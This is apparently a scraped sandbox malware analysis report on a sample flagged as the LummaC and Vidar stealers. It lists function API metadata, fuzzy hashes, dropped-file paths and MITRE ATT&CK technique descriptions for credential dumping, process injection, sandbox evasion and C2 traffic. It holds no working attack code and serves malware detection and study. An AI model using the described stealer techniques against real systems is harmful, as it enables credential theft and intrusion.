Opcode Fuzzy Hash: 1103ad1df4e591937f8dcbc401f51411fd7c80c6975ea38639d7e3f742c7e0de
Instruction Fuzzy Hash: 5E515F706087409FE700CF29C8C4B1ABBE5FF89319F44C96DE8899B646E774E945CB62

Function 6C50B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C50B2C9,?,?,?,6C50B127,?,?,?,?,?,?,?,?,?,6C50AE52), ref: 6C50B628

Part of subcall function 6C5090E0: free.MOZGLUE(?,00000000,?,?,6C50DEDB), ref: 6C5090FF
Part of subcall function 6C5090E0: free.MOZGLUE(?,00000000,?,?,6C50DEDB), ref: 6C509108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C50B2C9,?,?,?,6C50B127,?,?,?,?,?,?,?,?,?,6C50AE52), ref: 6C50B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C50B2C9,?,?,?,6C50B127,?,?,?,?,?,?,?,?,?,6C50AE52), ref: 6C50B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C50B127,?,?,?,?,?,?,?,?), ref: 6C50B74D

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 09bb2ecb8333a99cf5a3698da67a6d6fc81bb3ecd235fc4267451757ae5d39c3
Instruction ID: d59136d3255879639bed367db00c7f3c6c6436a2be8da16b5a3dbbc2d2947c7e
Opcode Fuzzy Hash: 09bb2ecb8333a99cf5a3698da67a6d6fc81bb3ecd235fc4267451757ae5d39c3
Instruction Fuzzy Hash: 4051BBB5B052168BDB14EF58CDC066EB7B5FF85305F56852DC85AEB700EB31A804CBA1

Function 6C50DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C4FFF2A), ref: 6C50DFFD

Part of subcall function 6C5090E0: free.MOZGLUE(?,00000000,?,?,6C50DEDB), ref: 6C5090FF
Part of subcall function 6C5090E0: free.MOZGLUE(?,00000000,?,?,6C50DEDB), ref: 6C509108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C4FFF2A), ref: 6C50E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C4FFF2A), ref: 6C50E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C4FFF2A), ref: 6C50E0FE

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 171dde25960c392b74ae847e105776555a21968d7c98a721b88a937bf64bd072
Instruction ID: 1c54f8f457c3b59245ab454079c7bbc1279899f215bcf87554656fd2352f14d1
Opcode Fuzzy Hash: 171dde25960c392b74ae847e105776555a21968d7c98a721b88a937bf64bd072
Instruction Fuzzy Hash: 7741C1B17042168FEB14CF68CCA035A73B2AB45308F294939D596DBB40E7B1E904CBD2

Function 6C506E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C506EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C506EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C506F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C506F5C

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 3b33770efd7e59ce1bfa2e1a2fe70888f919deceeb59c310ed1004cb4cadcce0
Instruction ID: 4f79fc2512c6511ca86be1ae8acf2fca8b875bf621ca726610368f2391ae7c6e
Opcode Fuzzy Hash: 3b33770efd7e59ce1bfa2e1a2fe70888f919deceeb59c310ed1004cb4cadcce0
Instruction Fuzzy Hash: 4B31B271B1060A8FEB14CF2CCD806AE73E9AB85344F504639D81AC7655EF31E6998791

Function 6C51B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4C0A4D), ref: 6C51B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4C0A4D), ref: 6C51B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4C0A4D), ref: 6C51B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4C0A4D), ref: 6C51B67F

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 0ad7a8c9acc3018765df34751355f68384b426e1eba3658f9e1fe47a901d4461
Instruction ID: 9982e3190883d00619395a8328e9a38c7e4f4835f9b6f1fb621547a667d0c3b1
Opcode Fuzzy Hash: 0ad7a8c9acc3018765df34751355f68384b426e1eba3658f9e1fe47a901d4461
Instruction Fuzzy Hash: BC31E8B1A052258FEB10EF58CC4865EB7F5FF91304F168669C80A9BB01EB31E915CBE1

Function 6C4EF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C4EF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C4EF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C4EF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C4EF668

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 4dc89e639bc59e949dc6c4273e2f2d6895c845b0cee28c7f7725bfc6c2d237b8
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 42314B71A01214AFD724CF29DCC0E9E77F5EBD8364B188938EA498BB05D631E9458B90

Function 6C4CB940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4CB96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6C4CB99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4CB9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4CB9B9

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: f2f77868843370ca4391c3ec923a3b825e6b26836a872de3fe1fff501e92f372
Instruction ID: 74521b2d91f3b57f7acf918ed2b2cb13053be9319218e97aff6e2cf752f4e6fa
Opcode Fuzzy Hash: f2f77868843370ca4391c3ec923a3b825e6b26836a872de3fe1fff501e92f372
Instruction Fuzzy Hash: 20114FB5A002059FDB14DF69DC80CAFB7F8BF98314B14893AE919D3711E731E9158AA1

Function 6C5026B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5026C1
free.MOZGLUE(?), ref: 6C5026E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5026FF
free.MOZGLUE ref: 6C50270D

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4262281d7c6f7f34e330a0b1e8a5bb979e120dd379eb33e4bf688b40b84a1b8f
Instruction ID: f10ff9663430ae7c1420b492b5011fb81cba0d1db1f466e3d3306419a3c4dd3f
Opcode Fuzzy Hash: 4262281d7c6f7f34e330a0b1e8a5bb979e120dd379eb33e4bf688b40b84a1b8f
Instruction Fuzzy Hash: 12F0F9B67012015BE7109F58DCC4D5BB3ADEF41259B550035EA1AC3B01FB31F918C696

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VLSiVR4Qxs.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\HCAEHDHDAK.exe

C:\ProgramData\HJECAAKKFHCF\AAFBAK

C:\ProgramData\HJECAAKKFHCF\BFIJEH

C:\ProgramData\HJECAAKKFHCF\CBFCFB

C:\ProgramData\HJECAAKKFHCF\DBKKFC

C:\ProgramData\HJECAAKKFHCF\GDGHJE

C:\ProgramData\HJECAAKKFHCF\HIIIEG

C:\ProgramData\HJECAAKKFHCF\IDHDGD

C:\ProgramData\HJECAAKKFHCF\IDHIDB

Windows Analysis Report
VLSiVR4Qxs.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre